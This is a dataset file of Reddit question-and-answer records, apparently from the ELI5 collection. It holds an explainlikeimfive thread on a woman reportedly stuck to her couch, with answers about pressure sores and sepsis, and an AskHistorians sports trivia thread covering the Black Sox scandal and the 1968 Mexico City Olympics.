{"q_id": "4v1yi3", "title": "i just read an old article today about a 480 lb woman who died after a 6 hour surgery to remove her from her couch. she was physically fused to the couch after not moving for 6 years. how is this actually possible?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4v1yi3/eli5_i_just_read_an_old_article_today_about_a_480/", "answers": {"a_id": ["d5useef", "d5v3hfq", "d5v5akr", "d5v5lga", "d5v683z", "d5v6efc", "d5v6ouw", "d5v6unp", "d5v703j", "d5v7msk", "d5v7ojn", "d5v7xu2", "d5v81dr", "d5v852j", "d5v97up", "d5vafiz", "d5vbf01", "d5vbh9l", "d5vc2gw", "d5vcusd"], "score": [285, 2, 6, 175, 4, 27, 11, 1601, 4, 2, 112, 102, 2, 3, 3, 3, 12, 2, 2, 2], "text": ["Hey, biologist here.\n\nWhile I'm no expert on this sort of thing, I think I can take a shot at it! It might be this sort of mechanism: Between animal cells (the basic microscopic building blocks that make up animals) there's a structure called a cell junction. Now, a cell junction is made of proteins, and it attaches these cells to either other cells, or an extracellular matrix (stuff that's not a cell, but surrounds groups of cells) in order to make tissues (the clusters of cells and extracellular matrix that makes up organs). Now, if you were to sit on a couch or lay on a bed for too long you would kill skin cells. Eventually, you'd kill so many that the tissue would be dead. Now, your body has got to make new tissue to repair the skin you've damaged, so when it makes that skin it starts rebuilding the skin and attaching cell junctions to either cells or extracellular matrix. As this new sheet of cells (tissue) is produced, it meets an extracellular matrix it hasn't seen before but has no problem attaching to (a couch), and so it just connects that sheet of new tissue to this strange couchey stuff, and there you have it you're part couch.\n\nAny questions?\n\nEdit: Did some solid research. There's actually quite a bit of info from experts on this subject, and my hypothesis was totally wrong! So, apparently the best guess of experts is that it's caused by pressure sores! When those sores become infected, or just hang out for too long they release nasty fluid. That fluid gets trapped between the couch and the skin, and then dries, effectively gluing the victim to the furnitute. The best method of removal I guess is to wet the person to remove them from the furniture. But, they usually die because the pressure sores lead to sepsis.", "Do you have a link to the article to share with us?", "Holy smokes! I have the best DIY-LI5 experiment for what this may actually be like cause I accidentally did it once when I was a kid. First, wet your lower lip by licking it heavily. Second, take a piece of notebook paper and push it tightly against your wet lip. Third, hold it there for a few minutes. Fourth, try to remove the paper from your wet lip...ouch...", "You know when you have a really good skinned knee?  And when you put a bandaid on it it sticks?  Now imagine the bandaid is the size of a couch and the wound is the size of your body.  You wanna pull it off?", "Bed sores answer, but beyond that surgery is a lot harder on the obese because getting the correct dosage of anesthetics is a lot more of a guessing game when you are on the outliers of body mass.", "Sorry, but I really need to know.\n\nHow did she poop?", "How was she stuck on the couch for 6 years? Wouldn't she have been moving at least a tiny bit in that period like maybe to get a glass or water, or get like a bag of chips or something?", "Surgeon here. The following description may be NSFW.\n\nShe did not become fused with the couch. Like others have pointed out, this is impossible.\n\nBut imagine her entire backside is an open wound, with exposed muscle and fat and bone, and the entire thing is slimy and full of pus. This can make it very hard to tell where she ends and the body fluid soaked couch begins.\n\nShe likely did not die as a result of the surgery. I would be she was being separated from the couch because someone called the hospital due to severe infection and she died of massive overwhelming sepsis while the wound was being debrided.", "This article gives a similar situation and some good explanations of how people can become attached to objects they sit on for extended periods of time.\n\n_URL_0_", "I read this article. EMC was called by her brother and his girlfriend for \"emphysema like illness\". It took six hours to remove her from the home. They created a 6 ft space by removing her patio doors and attached her still fused to the sofa on a trailer and she was pulled to the ER. She died later from \"complications due to being morbidly obese\". ", "So some time on google had turned up variations on that story running back for years, see:\n_URL_3_\n\n_URL_0_\n\n_URL_2_\n\n_URL_1_\netc. \n\nThat alone combined is usually a good sign of an urban legend. As well this is one of those cases where the daily mail is probably the most reputable source...which does not speak in favour of this being any sort of fact. \n\nThe articles themselves are also questionable:\n\n480 lbs is nowhere near enough weight to cause that kind of permanent disability, which would imply some other issue. In no source was any such issue mentioned. As well in the event of such such a disability this would represent massive criminal neglect on behalf of her caretaker which is only touched upon in one article. Instead most articles essentially boil down to \"she was sooooo fat\" which is questionable journalism.\n\nA common elaboration is \"the neighbours had no idea\" while at the same time going into detail on the supposed filth (hazmat teams needed etc) etc she was living in. In some cases the story was supposed to take place in an apartment or a duplex. There is just no way to reconcile that; I can tell you what my neighbours are cooking for dinner, anything that bad would be noticed very quickly. \n\nThere's also the simple fact that she should have never made it to surgery. The sheer level of filth quoted along with the amount of open wounds necessary  to fuse someone to a mesh in general would imply massive infection that's unlikely to be survivable without immediate medical intervention. Given that in several articles emergency workers were unable to separate her from the couch at the scene even partially, this implies a much much greater level of bonding, which would take a far longer time and frankly there's no way she could have survived that long.    \n\n\nBasically, while it can't be 100% ruled out (wounded skin bonding to fabric mesh is a thing seem sometimes and preventing that is an important part of wound care) this very probably didn't happen, and if it did certainly  didn't happen as described in any article I can find. ", "Not a doctor, but firefighter/EMT 20+ years. I have seen many sepsis patients. I would say in her case, she likely died from some sort of septic shock when they extricated her. Septic shock is no joke. Many patients with decubitus ulcers (bed sores) have problems when you start moving them. We make sure to monitor vitals and not disturb the affected areas much. I think when blood begins to flow in those areas, that's when the trouble starts.\n", "Too many guesses no one knows for sure lots of \"I thinks\" and \"perhaps\" and \"most likely(s)\" just not the answer one is looking for.", "i know the part about how she became stuck to the couch has been answered, but how can a person sit, immobile, on a couch for 6 years!?! i mean, you gotta go to the bathroom some time! 6 years of waste would be enough to cover a person a few feet deep!  this should have killed them long before 6 years time, right?", "Have you ever not put a band aid on a scrap or open wound and left your sock only to cover it? The scab basically fuses to it. And you take you sock off it rips the scab right off?  Kind of like that but with bed sores from not moving.  That's why people with immobilities need to be moved every so often.", "human body is resilient.  Will do anything possible to survive... even if that means lengthening the time it takes to torture yourself to death.", "I was working in the ER when a chronically drunk guy with diabetes presented himself to have us remove the lace up 10 in hawthorn boots, but more critically his socks that had grown into his \"skin\" and had become a  matrix of skin and sock , he couldnt remember the last he had removed his boots let alone socks ...OMG, I haven't since smelled something so foul in my life.  We had to sedate him to remove his socks and basically \"de-gloved\" or removed his skin when we removed his socks.  His blood sugar at the time was running approximately mid 500s, and we later had to remove his 5 toes on one foot and 2 or three on the other.  Months later we had to do a re-vision to amputate mid-foot.  The body does some odd things when your obese, have diabetes  or otherwise don't care for yourself in the proper way.", "I am no expert but I did see a similar case exactly like this on Nip/Tuck.  Her husband just enabled her by bringing her food, cuz he simply could not say no.\n\n  She did her toiletry just where she sat.   When they brought her to the hospital they have to knock out a wall and carry her on the couch into the ER.   As they were getting in, it was decided she would end up losing a leg, at that point she just gave up, like was hard enough, life without a leg was just too hard to think about, she just gave up.\n\n  Depression is serious, and when you lose the will to get stand up from a couch , poor women should have got help a long time ago.", "How did she use the restroom?", "Think about when you get a skin tear injury and put a bandage on it; now go to remove the bandage after blood and pus have dried to it. It is usually a bit sticky. Imagine you have a backside full of sores, bleeding and infected, the liquid would seep into whatever you are sitting on. If you don't move it, it will dry; this happens everyday, more blood, more puss, more drying. Eventually you would have scabs that would get part of the couches fibers intertwined in it. That's how it would become stuck to you. [Here is a similar story.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["http://discovermagazine.com/2008/mar/14-how-the-heck-did-a-woman-become-fused-to-a-toilet-seat"], [], ["http://www.dailymail.co.uk/news/article-1371640/Morbidly-obese-man-fused-chair-sat-years-dies-hospital.html", "http://www.wokv.com/news/news/480-pound-woman-dies-after-six-years-on-couch/nFCfB/", "http://slog.thestranger.com/2008/03/remember_that_woman_whose_skin_grafted_t", "http://www.unbelievable-facts.com/2014/03/480-pound-woman-dies-after-being-stuck.html"], [], [], [], [], [], [], [], [], ["https://youtu.be/MUT0De4P_aU"]]}
{"q_id": "1jt6st", "title": "Tuesday Trivia | AskHistorian\u2019s Wide World of Sports", "selftext": "[Previous weeks\u2019 Tuesday Trivias](_URL_0_) \n\nThe thrill of victory... and the agony of defeat... on a much smaller scale than we normally talk about in AskHistorians. **Tell us anything you\u2019d like about games and sports prior to 1993.** You can tell us about everything from the most formal sporting events such as the Olympics down to children\u2019s schoolyard games, any place, any era, from gladiatorial combat to American baseball. GOOOOOOOO!\n\n**Next Week on Tuesday Trivia:** Is necessity *really* the mother of invention? Or is it more complicated? We\u2019ll be sharing lesser-known origin stories of interesting inventions! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jt6st/tuesday_trivia_askhistorians_wide_world_of_sports/", "answers": {"a_id": ["cbi208b", "cbi23hb", "cbi5eia", "cbi5hsj", "cbi6d97", "cbi9ijt", "cbia5a9", "cbid25t", "cbiif96", "cbiingq", "cbingj2"], "score": [18, 13, 2, 9, 17, 7, 2, 10, 2, 7, 2], "text": ["In early Virginia, the colonists had a game which involved hanging a live goose from an overhanging branch of a tree by its feet.  The neck was greased, and men would ride past and attempt to wrench it's head off while the angry goose snapped at their fingers.  The blood-sprayed victor got to keep the goose for their table.  \n\nBut let us not forget the younger ones.  The smaller boys had a game involving a live bird.  The boy's hands were tied behind his back, and a wing stuck in his mouth.  The object of the game is to get the bird's head in your mouth by motion of the lips and teeth (while the bird is pecking at your face) and bite it off.  \n\nSource: Albion's Seed: Four British Folkways Into America by David Hackett Fischer", "I'm not sure if this is totally to do with a match or a game, but it does involve sport so I hope it's acceptable.\n\nAt 7:30am on the 1st July 1916, the first day of the Battle of the Somme, Captain Wilfred \"Billie\" Nevill lead his men of the East Surrey Regiment over the top by kicking the first of two footballs into No Man's Land. He felt that it would 'take their minds off what was going on around them', according to Ian Chatfield, curator of the Queen Royal Surrey Regiment Museum near Guildford, and I am inclined to agree. It seemed that Nevill, like many soldiers that morning, felt he would not return that afternoon, and neither would thousands of others. In order to distract the men from all of the machine gun and shell fire that would inevitably greet them as they clambered over the parapet (forward observers had been seeing German activity for days prior to the 1st July), Nevill had the idea to take some footballs over with him, ordering the men to make sure it reached the German front line trench. \n\nNow I'm not saying this would have saved lives, but it may have made the advance just a little bit more bearable for the men, who would have seen their friends falling and dying all around them. We can thank Nevill for that. Unfortunately, Nevill himself was shot and killed during the advance while he was reportedly encouraging his men (and the footballs) forward. I think this story brings a bit of humanity back to the First World War. \n\nJust the lads out for a kick about on the 1st July 1916.", "What do we really know about the Mesoamerican ball game?", "It's well known that modern lacrosse descends from the widely popular stickball game of Native America. Specifically it comes from the northern style of the game, and because of that, it only uses one stick. In the southeastern variant, players dual-wielded their sticks on the court. I could go on for quite a while about all the variants of the game, but for now, I'll stick with some rapid fire trivia specifically from the southeast.\n\n1. A common story in the southeast concerns a mythic stickball game played between the Four-legged Animals and the Birds. Who wins? Could be either side depending on whose telling it. I've heard a Cherokee version of the story that says the birds won and a Muscogee (Creek) version that says the Four-Footed Animals won. In either case, what decides the winner is whichever side ends up with the Bat on their team. In the Cherokee version, the Four-Footed Animals reject the Bat because of his small size, but the Birds accept him and give him his wings by stretching his skin so he play on their side. In the Muscogee version, the Four-Footed Animals claim the Bat as their own because he has teeth rather than a beak. Ultimately, Bat's maneuverability wins the game for his team, whoever it might be.\n\n2. In Mvskoke (the Muscogee or Creek language) there are these words and phrases: *afackvlke*, *afvcketv*, and *\u0113kvnv 'sem afvcketv*, which mean \"those who are happy,\" \"to be happy\", and \"worldly pleasure\" respectively. They also mean, respectively, \"Stickball players\", \"to play stickball,\" and \"the stickball game.\" And for the confused, in Mvskoke, *v* is  a vowel and is pronounced like the *u* in *but* and *shut*.\n\n3. The 19th Century painter George Catlin traveled to many Native American communities in the first half of century and attended a stickball game while among the Choctaw in the Indian Territory. He described the game as \"a school for the painter of sculptor, equal to any of those which ever inspired the hand of the artist in the Olympian games or the Roman forum.\" The game did inspire several paintings by Catlin, such as [Ball Up](_URL_1_). He also made at least two paintings of the Choctaw ballplayer Tullock Chishko, both [in his stickball uniform](_URL_0_), and [in other attire](_URL_3_). The stickball game would continue to inspire modern artists, such as [Brian Larney](_URL_2_), who cites Catlin in his own idealized version of Tullock Chishko.", "**The Black Sox scandal during the 1919 World Series.**\n\n_URL_3_\n\nThe extent of the scandal and involvement of certain players is still debated today, but the gist of the situation is this : \n\nSeveral players of the 1919 Chicago White Sox were accused of intentionally losing games in exchange for money from gamblers.  The players were underpaid and because of this and other reasons, they had serious issues with the team owner, Charles Comiskey.  The conspiracy allegedly began with the team's first baseman, Arnold Gandil, who either thought of the idea himself, or was approached by a gambler with the idea.\n\n >  Comiskey has been labeled the tyrant and tightwad whose penurious practices made his players especially willing to sell their baseball souls for money, but in fact he was probably no worse than most owners--in fact, Chicago had the highest team payroll in 1919.\n\nTalk of a fix began to grow within the team, and several other players including an outfielder and third baseman agreed to join.  After this, other players were easier to get to join the conspiracy.\n\n >  They all were interested and thought we should reconnoiter to see if the dough would really be put on the line.  Weaver suggested we get paid in advance; then if things got too hot, we could double-cross the gambler, keep the cash and take the big end of the Series by beating the [Cincinnati] Reds.  We agreed this was a hell of a brainy plan. - Chick Gandil\n\nAfter this meeting where they agreed to go ahead with the fix, two of the gamblers who were approached to help get money for the players before the series then approached [Arnold Rothstein](_URL_1_), who was known as a big sports gambler in addition to being the \"kingpin of the Jewish mob in New York\".\n\nRothstein's involvement is debated among those who have covered and studied the Black Sox scandal, some saying that he believed the risk too big while others show evidence of him paying out $80,000 for the fix.  One thing is for certain, which is that Arnold Rothstein knew about the fix, and made an estimated $400,000 betting on games in the World Series.\n__________________________________\n\nTalk of the fix grew with the involvement of Arnold Rothstein and the once underdog Cincinnati Reds were becoming favorites in the odds.\n\nMany who cared to follow the series knew about the alleged conspiracy, and the players on the White Sox were constantly being watched for any sign of them throwing the games. \n\n >  Of eight Series games, at least two were thrown, Games Two and Eight... There is also evidence that Game Four was thrown and a failed attempt was made to throw Game Three.  In general, people who were looking for suspicious plays in the Series found them, while others saw nothing that looked out of line.\n\n >  [The pitcher] pitched poorly in Game One and hit the first batter, apparently to signal the fix was on.\n\nThrowing errors, glaring fielding errors, and poor at-bats were seen throughout the series by certain players as evidence of their involvement in the fix.  The Cincinnati Reds won the World Series, winning five of the eight games played.\n_______________________________\n\nOne of the more interesting aspects of this fix is the alleged involvement of two players.  Buck Weaver and \"Shoeless\" Joe Jackson.\n\nDuring the Series, Jackson batted .375 (very good) and scored five runs, got six RBI's, the only homerun, and not committed a single error.\n\n >   Jackson admitted in his 1920 grand jury testimony to accepting the money.  Most likely, Jackson did not try to throw the Series.  He did, however, commit a serious error of judgment in accepting the money of gamblers and, perhaps, in not more aggressively trying to report the fix to Comiskey or Gleason.\n\nBuck Weaver Weaver knew of the fix, attended at least three meetings in which the fix was discussed, watched Gandil count out pay-off money from gamblers, and yet failed to report the scheme to club officials.\n_______________________________\n\nThe cover-up of the scandal was more organized than the fix itself, and involved managers, players, owners, and some parts of the press.  \n\n >  Exposure of the Series fix finally came from an unexpected source--just as the Sox were in a close fight for the 1920 American League pennant.  Reports on another fix, this one involving a Cubs-Phillies game on August 31, led to the convening of the Grand Jury of Cook County.  Assistant State Attorney Hartley Replogle sent out dozens of subpoenas to baseball personalities.  One of those called to testify was New York Giants pitcher Rube Benton.  Benton told the grand jury that he saw a telegram sent in late September to a Giants teammate from Sleepy Burns, stating that the Sox would lose the 1919 Series.  He also revealed that he later learned that Gandil, Felsch, Williams, and Cicotte were among those in on the fix.\n\nEddie Cicotte, pitcher for the White Sox, decided to talk openly about the fix after a testimony involving a different scandal for a different team showed evidence of the fix in addition to interviews ran in the national press of the scandal implicating him (among others).\n\nSoon after the other players involved learned that Cicotte had talked, Joe Jackson was called to the Chicago Grand Jury.  His 'confession' can be found here\n\n_URL_0_\n\n >  On October 22, 1920, the Grand Jury handed down its indictments, naming the eight Chicago players and five gamblers, including Bill Burns, Sport Sullivan, and Abe Attell [financial backers].  Rothstein was not indicted.  The indictments included nine counts of conspiracy to defraud various individuals and institutions.\n\nOn July 27th, 1921, the case *State of Illinois vs. Eddie Cicotte et all* was opened.  \n > Before a final jury of twelve was seated, over 600 prospective jurors were questioned about their support of the White Sox, their betting habits, and their views of baseball.  One potential juror, William Kiefer, was excused because he was a Cubs fan, and presumbably bore ill will against the team's cross-town rival.\n_________________________\nResults of the trial :\n\n >  Prior to the trial, key evidence went missing from the Cook County Courthouse, including the signed confessions of Cicotte and Jackson, who subsequently recanted their confessions. The players were acquitted. (Some years later, the missing confessions reappeared in the possession of Comiskey's lawyer.\n______________________\n >  Although evidence suggests that the jury was already leaning toward acquittal, the outcome of the trial may have been sealed when Judge Friend charged the jury.  He told them that to return a guilty verdict they must find the players conspired \"to defraud the public and others, and not merely throw ballgames.\"\n\nThe players were acquitted, but a day after the verdict, the Commissioner of Baseball banned the players from ever playing the game again.\n\n >  \"Regardless of the verdict of juries, no player who throws a ballgame, no player that undertakes or promises to throw a ballgame, no player that sits in conference with a bunch of crooked players and gamblers where the ways and means of throwing a game are discussed and does not promptly tell his club about it, will ever play professional baseball.\"- Commissioner Landis\n\n________________________\n\nSeveral sources covering the scandal :\n\nAsinof, Eliot. Eight Men Out, The Black Sox And The 1919 World Series. New York: Holt Paperbacks, 2001. Print.\n\n_URL_2_\n\n_URL_4_\n\n_URL_3_\n_____________________\n*I am not a professional historian and as such, everything I've written is from what I've read and learned about the scandal.  I am merely a fan of history as well as a fan of baseball, so if there are glaring mistakes or important details I left out, please correct me!*\n\n", "My time to shine.\n\n[Dock Ellis threw a no hitter while on LSD](_URL_3_)\n\n[Homer Jones invented the football spike](_URL_4_)\n\n[Sean Rodriguez struck out despite a 4-2 count](_URL_0_)\n\n[Jack Youngblood played in the Super Bowl with a broken leg](\n_URL_1_)\n\nAnd my personal favorite sports story, [The Miracle on Ice](_URL_2_)\n\nEDIT: As requested, I've decided to put some prose/life into this. Dock Ellis was no stranger to drugs. He reportedly (his own report, actually) hadn't pitched sober since *High School.* He woke up that morning in Los Angeles despite the fact that he was slated to pitch in San Diego. \n\nJack Youngblood broke his leg and played not just in the Super Bowl, he played in the entire playoffs plus the Pro Bowl on one leg, stating \"hey, who turns down a free trip to Hawaii?\" (Paraphrasing). \n\nSean Rodriguez later said that both he and the umpire lost count, but video analysis later proved that he deserved a walk, not a strike out. Both he and the umpire thought it was 1-2 when it was really 2-2. The umpire later applauded Rodriguez's honesty, and as a former varsity center fielder, I can tell you I would not have done the same thing (so props to him.)\n\nWhere do I begin with the Miracle on Ice? 20 ragtag college players (though they did play for then powerhouses like the University of Minnesota and Boston University) took on the best hockey team in the world on possibly the biggest stage possible. Although, many people mistakenly believe that they won the gold when they beat the Soviets, it was actually the semifinal. USA beat Finland 4-2 to win the gold, coming from behind to win. As if there was any other way. This is actually a bigger deal in the area I live in than most (Minnesota) because that's where most of the players, and the coach (RIP Herb Brooks) are from. In fact, they did some of their early training at the rink that is just two miles from my house. Man, do I love hockey and America. \n\nSide note: the four balls strikeout happened in 2008, well after 1993. Crap. But to be fair, I don't think we will ever see that again.", "I'm cheating a bit, here, because this covers the years since 1993, too, but I run a college sports ranking algorithm, and I've tabulated some overall results for the last 40 years. I posted these in /r/CFB and /r/CollegeBasketball last spring:\n\n[College football](_URL_0_)\n\n[Men's college basketball](_URL_2_)\n\nI chose the last 40 years because the modern divisional structure of the NCAA (three divisions separated primarily by finances, athletic scholarships, and spectator capacity) was first established in the summer of 1973. There was a further split between Division I-A and I-AA \u2014 now Football Bowl Subdivision and Football Championship Subdivision, respectively \u2014 in 1982, when several conferences (including the Ivy League and the Southern Conference) dropped down from FBS to FCS, where they remain.\n\nI'm also slowly working on women's basketball, too. I plan to take that back to the 1981-82 season, which is the year that the NCAA took full administrative control of women's sports from the [AIAW](_URL_1_).\n\nThere's more detail on my methods and some interesting facts I pulled out of the data in the top posts of the threads linked above.", "(After writing this, I realized it's only tangentially related to sports. Oh well.)\n\n**The 1968 Mexico City Olympic Games, Mexcio 68, and the Tlatelolco Massacre**\n\nThese games are world famous for the [black power salute](_URL_0_) by Tommie Smith and John Carlos, who were then expelled from the games for making a political statement. However, what is less well known outside of Mexico is the massive student protest against government corruption that led up to the games, resulting in the mass slaughter of students in Tlatelolco, Mexico City.\n\nPrior to 1968, there was a tradition of university students staging large protests. The students of the *Universidad Nacional Aut\u00f3noma de M\u00e9xico* (\"National Autonomous University of Mexico\") and *Instituto Polit\u00e9cnico Nacional* (\"National Polytechnic Institute\") had previously protested against attempts to take away university autonomy, privatize the IPN, or in solidarity with striking workers. UNAM catered to predominately middle class students (the upper class largely sending their children to private universities), while the IPN was predominately working class. Previously, there had been a degree of separation between the student bodies and their protest actions. However, in 1968, the student bodies mixed much more readily, and this led to the radicalization of many of the middle class students by the working class students.\n\nHaving previously seen over 100,000 students occupying the central plaza in Mexico City, the Mexican government, in collaboration with the FBI and CIA, formed the Directorate of Federal Security, a new kind of secret police, which infiltrated student movements in an effort to compromise them. In addition to the overt violence of the riot police, this acted as a mechanism for control by the state. 1968 was also a year of global protests, with various movements in dialogue with each other.\n\nThe '68 movement really took of on 23 July, when the riot police invaded a vocational school, assaulting students, ostensibly for the purpose of finding gang members who may have enrolled in the school. Students at other schools (and when I refer to schools here, it's generally in the sense of post-secondary schools; universities, colleges, vocational schools) began protesting throughout the city and were also met with violent clashes with the riot police. Over 50,000 UNAM students walked out, shutting down the school, in protest against police violations of university autonomy. Protestors soon swelled to well over 100,000. August saw a festive period in the protests, and by September, the protests had reached their greatest activity.\n\nFrom the start of the protests, students were organized into the National Strike Council, which drew representation equally from various schools and ensured equal representation for female students. Having learned from previous protests that the Mexican state could infiltrate student movements and compromise or bribe leaders, the National Strike Council rotated delegates and leaders regularly, allowing for both the high level of organization that comes from centralized leadership but also the incorruptibility of movements that decentralize power. All decisions by the Council delegates were democratic.\n\nEarly on, the student protestors articulated a clear set of demands.\n\n1. **The dismantling of Article 145,** a vague statute that allowed for the indiscriminate arrest and imprisonment of those at public gatherings deemed subversive to the state\n\n2. **Liberty to all political prisoners,** including activists and intellectuals imprisoned for years under Article 145 and for participation in previous protests\n\n3. **Abolition of the *granaderos*,** the riot police famous for their brutality who had become symbols of state repression\n\n4. **Dismissal of Mexico City's chief and deputy of police**\n\n5. **Indemnification for victims of repression**\n\n6. **The bringing to justice of those responsible for the repression**\n\nThe students, having shut down the universities, occupied the city. They used the university campuses for organization, renaming auditoriums, classrooms, and various sections of the schools after international revolutionaries from Che Guevara to Nelson Mandela, informal names which have still effectively replaced their former official names to this day. Protestors produced revolutionary art from music to poetry to posters. One very popular tactic was to [co-opt the Olympic symbol in artistic protest](_URL_1_).\n\nThe Olympic Games had never been held in Latin America before, and the Mexican state was very concerned with making sure it appeared to be a modern, developed nation on the same level as Europe and the United States. Having 100,000 students in the streets protesting government repression would be disastrous to this image. Indeed, that was a big part of why the students had become so active at that time, as they knew it provided them with leverage to make the state take notice of them.\n\nHowever, rather than negotiate with the students, the state became more and more repressive. A surprise invasion of the UNAM campus by riot police led to the assault and arrest of many students and the occupation of the campus, in violation of university autonomy. This, however, meant that the students of the IPN were prepared for the invasion of their campus, and resisted occupation for over 12 hours, firing back with handguns when the riot police opened fire on them with military rifles and bazookas.\n\nThe opening ceremony for the Olympic Games was set to begin on 12 October, but as, ten days before, the streets were flooded with protestors decrying state repression, the Mexican government grew desperate. On the night of 2 October, thousands of protestors were herded into the plaza at Tlatelolco, a location chosen because it was inescapable. State controlled paramilitary forces, disguised as students, fired a few shots. In response, government forces opened fire on the students, killing at least 300, wounding an unknown number, and arresting thousands in the aftermath. The Mexican state gave the official total dead as twenty or thirty, but survivors saw hundreds of bodies being dragged off for disposal.\n\nOf the thousands of publications of the foreign press covering the Olympics, very few covered the Tlatelolco Massacre in any real way. The Mexican government did its best to downplay and hush up coverage of the extent of the massacre, and generally, the international community was happy to oblige. No delegations protested the Olympics held just ten days after such a massacre, and the story was eclipsed internationally by the Black Power salute.\n\nThe protest bore fruits for social change, contributing to the rise of the feminist and environmentalist movements. The brutal repression also disillusioned much of a generation with the idea of pursuing democracy, and many would join guerrilla movements and resist the state violently. The pursuit of democratization would later arise with the 1988 presidential campaign of Cuauht\u00e9moc C\u00e1rdenas, whose election was only blocked by sweeping electoral fraud on the part of the ruling party.", "The football huddle originated at Gallaudet University in the 1890s. Which player came up with the idea is up for debate, but it is usually attributed to Paul Hubbard. \n\nGallaudet is a university for deaf students, most of whom use sign language. The Gallaudet team would discuss their upcoming plays openly, confident no one could understand them. They soon realized the other teams were anticipating their plays with amazing accuracy, and discovered the opposing teams were bringing in someone who knew sign language to learn about their plays. \n\nNeeding a way to discuss plays privately, the players took to forming a circle, through which their signs could not be seen by the opposition. The huddle as a football tactic was born, and its use was picked up by others. Few remember today the origin of the huddle! ", "The game of association football is on a remarkable trajectory in the US right now -- the US Mens National Team just won their confederation championship, and the Seattle Sounders have sold out all 66,800 tickets available for an upcoming regular-season match against the Portland Timbers (60,000 of them had been sold *before* the recent signing of US captain Clint Dempsey).\n\nWhat many people find surprising, however, is how deep the sport's roots go in the US. English teams were touring the US as early as the 1870s, and there were regular attempts to organize the game through the early 1900s.\n\nThere was a pivotal period in 1905 when Teddy Roosevelt was considering a ban on gridiron football (later became the code of American football) due to the appalling rate of injury and death.\n\nIn 1905, a member of a touring team from England described playing in front of crowds of 15,000 to 20,000 in St Louis, Chicago, and Philadelphia -- as large as the largest baseball audiences.[^1 ]\n\nAt this time, the college football game was very well organized at the Ivy League, and they were able to make sufficient rule changes,  banning the flying wedge, e.g, to prevent federal action.\n\nIn the meantime, US soccer was badly hamstrung by two rival organizations, neither of whom had managed to build a productive relationship with collegiate athletics.\n\nThere was finally a coming together of sorts in 1913 when the US game re-formed under the US Football Association, the body sanctioned by FIFA, itself founded in 1904.\n\nThe notable thing here is that in 1913 the USFA set up the National Challenge Cup, an elimination tournament open to any senior-level team in the US. \n\nThis competition eventually became the US Open Cup, and is one of the oldest continuous sporting competitions in North America. In fact, the semi-final round of this year's tournament is Wednesday, Aug 7, tomorrow as I write this. \n\n(Chicago Fire host DC United and Real Salt Lake host Portland Timbers. I highly recommend it if you are in either of those cities.) \n\nThe professional game in the US goes back to 1921 and the American Soccer League, which played primarily in the Northeast. The dominant teams of the era were the Fall River Marksmen and Bethlehem Steel, the latter of which caused something of a diplomatic kerfuffle for hiring players away from Manchester United.\n\nThrough the 1920s, association football was a major professional sport in the US. The 'big time', of course, was boxing and horse racing. College football was very popular where it was played, baseball was king of the team sports, and professional American football was relatively insignificant.\n\nThe squabbles and infighting, now between the ASL and the USFA, came to a quite disastrous conclusion in 1928 when arguments came to a head over the National Challenge Cup -- ASL teams were unhappy with the travel demands and low compensation. The ASL called a boycott of the Cup, several teams broke the boycott and competed anyway, the USFA used the opportunity to start a rival professional league, and in Sept 1929, everybody went broke.\n\nIt wasn't quite as sudden as all that -- the ASL didn't formally cease operation until 1933, but that was basically the end of professional soccer in the US until the ill-fated NASL of the 1970s and '80s. \n\nOn the other hand, the 100th US Open Cup will be awarded this year, and I shall be at Toyota Park in Chicago tomorrow night, shouting my boys into the finals. Since their start in 1997, Chicago Fire have won four US Open Cups, and a win this year would tie them for first overall with Bethlehem Steel (ASL, 1911-1930) and Maccabi Los Angeles (semi-pro, various competitions -- NASL teams did not compete in the US Open Cup, 1971-1982).\n\nSince the advent of the MLS era in 1996, the Cup has been won exclusively by MLS teams, though in 2012 the amateur side Cal FC reached the quarterfinals of the tournament, beating professional teams Wilmington Hammerheads (USL-PRO) and Portland Timbers (MLS) along the way. \n\n^1 The account was by Fred Milnes, a member of the team, and published in 1906 as *A Football Tour with the Pilgrims in America*. The source for this, and most of the rest of the post, is [Distant Corners: American Soccer's History of Missed Opportunities and Lost Causes](_URL_0_), David Wangerin, Temple University Press, 2011.", "[Larry Kwong was the first player of Chinese descent to play in the NHL](_URL_0_), playing a single shift in the 1947-48 season. For comparison, Willie O'Ree was the first black player in the NHL- but he first played in 1958- a decade later.\n\nDon't think because he just played one shift means it was a stunt. Kwong was an incredibly talented player [who put up big numbers](_URL_1_) in various minor leagues. The NHL only had six teams back then. Had they had more (12 in the late 60s, 30 now) he would almost assuredly had a spot on an NHL roster."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/AskHistorians/search?q=title%3A%22Tuesday+Trivia%22&amp;restrict_sr=on&amp;sort=new&amp;t=all"], "answers_urls": [[], [], [], ["http://www.georgecatlin.org/Tul-lock-chish-ko,-Drinks-the-Juice-of-the-Stone,-in-Ball-Player's-Dress,-1834.jpg", "http://upload.wikimedia.org/wikipedia/commons/c/cf/George_Catlin_-_Ball-play_of_the_Choctaw--Ball_Up_-_Google_Art_Project.jpg", "http://yahvlane.com/?page_id=241", "http://upload.wikimedia.org/wikipedia/commons/c/c7/Tullockchishko.jpg"], ["http://law2.umkc.edu/faculty/projects/ftrials/blacksox/shoelessjoe.pdf", "http://en.wikipedia.org/wiki/Arnold_Rothstein", "http://www.chicagohs.org/history/blacksox.html", "http://law2.umkc.edu/faculty/projects/ftrials/blacksox/blacksoxaccount.html", "http://sportsillustrated.cnn.com/vault/article/magazine/MAG1131689/index.htm"], ["http://sports.espn.go.com/mlb/news/story?id=3571181", "http://articles.orlandosentinel.com/2011-09-26/sports/os-owens-youngblood-0927-20110927_1_toughness-tony-romo-wedding-ring", "http://en.wikipedia.org/wiki/Miracle_on_Ice", "http://sports.espn.go.com/espn/eticket/story?page=Dock-Ellis", "http://en.wikipedia.org/wiki/Homer_Jones_(American_football)#New_York_Giants_and_the_.22spike.22"], ["http://www.reddit.com/r/CFB/comments/17y5ft/40_years_of_college_football_cfb_program_rankings/", "https://en.wikipedia.org/wiki/Association_for_Intercollegiate_Athletics_for_Women", "http://www.reddit.com/r/CollegeBasketball/comments/1db934/40_years_of_college_basketball_cbb_program/"], ["http://i.imgur.com/dkdGRlv.jpg", "http://i.imgur.com/dRiG6DJ.jpg"], [], ["http://www.amazon.com/Distant-Corners-American-Opportunities-Sporting/dp/1439906300"], 